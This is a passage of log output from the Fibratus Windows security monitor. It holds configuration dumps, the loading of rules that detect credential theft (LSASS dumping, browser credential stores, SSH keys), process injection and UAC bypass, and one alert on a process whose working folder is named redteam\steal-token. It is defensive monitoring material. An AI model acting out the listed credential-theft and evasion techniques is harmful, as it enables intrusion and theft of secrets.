path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 level=>info max-age=>0 max-backups=>15 formatter=>text log-stdout=>true] + output ......................... [ elasticsearch=>[ healthcheck-timeout=>5s flush-period=>1s bulk-workers=>1 sniff=>false trace-log=>false servers=>[http://127.0.0.1:9200] timeout=>5s healthcheck-interval=>10s index-name=>fibratus healthcheck=>true template-name=>fibratus enabled=>false gzip-compression=>false] http=>[ enable-gzip=>false method=>POST serializer=>json endpoints=>[] enabled=>false timeout=>5s tls-insecure-skip-verify=>false] amqp=>[ exchange-type=>topic enabled=>false vhost=>/ passive=>false tls-insecure-skip-verify=>false delivery-mode=>transient timeout=>5s exchange=>fibratus durable=>false url=>amqp://localhost:5672 routing-key=>fibratus] eventlog=>[ enabled=>false level=>info] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +]] + pe ............................. [ read-resources=>false read-sections=>false excluded-images=>[svchost.exe] read-symbols=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false fastscan=>true excluded-files=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] enabled=>false skip-allocs=>false skip-registry=>false scan-timeout=>10s excluded-procs=>[] skip-files=>false] source=bootstrap/bootstrap.go:187 +time=2025-11-28T16:58:33+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-28T16:58:35+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-28T16:59:11+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-28T16:59:11+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-28T16:59:12+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-28T17:00:10+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation_or_directory_creation.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-28T17:00:10+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-11-28T17:00:10+01:00 level=info msg=bootstrapping with pid 10756. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-11-28T17:00:10+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ content-type=>text/html port=>25 enabled=>false use-template=>true to=>[]] systray=>[ enabled=>false quiet-mode=>false sound=>true] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-envs=>true serialize-images=>false serialize-pe=>false serialize-threads=>false] + eventsource .................... [ enable-mem=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-thread=>true max-buffers=>36 enable-dns=>false enable-handle=>false enable-registry=>true enable-fileio=>true enable-vamap=>true enable-image=>true enable-threadpool=>false flush-interval=>1s enable-audit-api=>true min-buffers=>16 buffer-size=>512 enable-net=>true stack-enrichment=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 formatter=>text max-size=>100 log-stdout=>true max-age=>0 level=>info] + output ......................... [ console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] amqp=>[ durable=>false exchange-type=>topic timeout=>5s passive=>false enabled=>false routing-key=>fibratus delivery-mode=>transient url=>amqp://localhost:5672 exchange=>fibratus vhost=>/ tls-insecure-skip-verify=>false] elasticsearch=>[ healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] timeout=>5s gzip-compression=>false sniff=>false bulk-workers=>1 healthcheck-timeout=>5s healthcheck=>true enabled=>false template-name=>fibratus trace-log=>false index-name=>fibratus flush-period=>1s] eventlog=>[ level=>info enabled=>false] http=>[ serializer=>json timeout=>5s endpoints=>[] enabled=>false method=>POST tls-insecure-skip-verify=>false enable-gzip=>false]] + pe ............................. [ read-sections=>false read-resources=>false enabled=>false read-symbols=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] enabled=>false skip-allocs=>false skip-registry=>false skip-mmaps=>false skip-files=>false scan-timeout=>10s excluded-procs=>[] fastscan=>true excluded-files=>[]] source=bootstrap/bootstrap.go:187 +time=2025-11-28T17:00:11+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-28T17:00:13+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-28T17:00:58+01:00 level=info msg=sending alert: [Thread context set from unbacked memory]. Text: Event(s): + Seq: 1043445 + Pid: 16812 + Tid: 7124 + Type: SetThreadContext + CPU: 3 + Name: SetThreadContext + Category: thread + Description: Sets the thread context + Host: archrabbit + Timestamp: 2025-11-28 17:00:56.7346523 +0100 CET + Params: status➜ Success + Metadata: tactic.id: TA0005, rule.name: Thread context set from unbacked memory, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/ + + Pid: 16812 + Ppid: 3756 + Name: oh-my-posh.exe + Parent name: powershell.exe + Cmdline: "C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\redteam\steal-token" "--pswd=C:\Fibratus\redteam\steal-token" "--execution-time=94.8919" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.7019" "--terminal-width=156" "--shell=pwsh" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\redteam\steal-token" "--pswd=C:\Fibratus\redteam\steal-token" "--execution-time=94.8919" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.7019" "--terminal-width=156" "--shell=pwsh"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-28T17:01:17+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-28T17:01:17+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-28T17:01:17+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-01T16:21:17+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-01T16:21:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-01T16:21:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-01T16:21:17+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-01T16:21:17+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: false + HasFileEvents: false + HasRegistryEvents: true + HasNetworkEvents: false + HasHandleEvents: false + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: CreateProcess, RegSetValue source=bootstrap/bootstrap.go:152 +time=2025-12-01T16:21:17+01:00 level=info msg=bootstrapping with pid 17952. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-01T16:21:17+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ sound=>true quiet-mode=>false enabled=>false] eventlog=>[ enabled=>true verbose=>true] mail=>[ use-template=>true port=>25 to=>[] enabled=>false content-type=>text/html]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-images=>false serialize-handles=>false serialize-threads=>false serialize-pe=>false] + eventsource .................... [ enable-handle=>false enable-thread=>true enable-registry=>true enable-audit-api=>true enable-fileio=>true enable-image=>true min-buffers=>16 enable-threadpool=>false enable-net=>true buffer-size=>512 flush-interval=>1s enable-dns=>false enable-vamap=>true max-buffers=>36 stack-enrichment=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-mem=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 max-age=>0 log-stdout=>true max-size=>100 level=>info formatter=>text] + output ......................... [ http=>[ endpoints=>[] timeout=>5s tls-insecure-skip-verify=>false serializer=>json enable-gzip=>false method=>POST enabled=>false] elasticsearch=>[ sniff=>false healthcheck-timeout=>5s index-name=>fibratus bulk-workers=>1 healthcheck-interval=>10s flush-period=>1s timeout=>5s enabled=>false healthcheck=>true trace-log=>false servers=>[http://127.0.0.1:9200] template-name=>fibratus gzip-compression=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] amqp=>[ passive=>false timeout=>5s tls-insecure-skip-verify=>false exchange-type=>topic durable=>false url=>amqp://localhost:5672 enabled=>false exchange=>fibratus routing-key=>fibratus vhost=>/ delivery-mode=>transient] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-resources=>false read-symbols=>false enabled=>false excluded-images=>[svchost.exe] read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] tags=>[ enabled=>false]] + 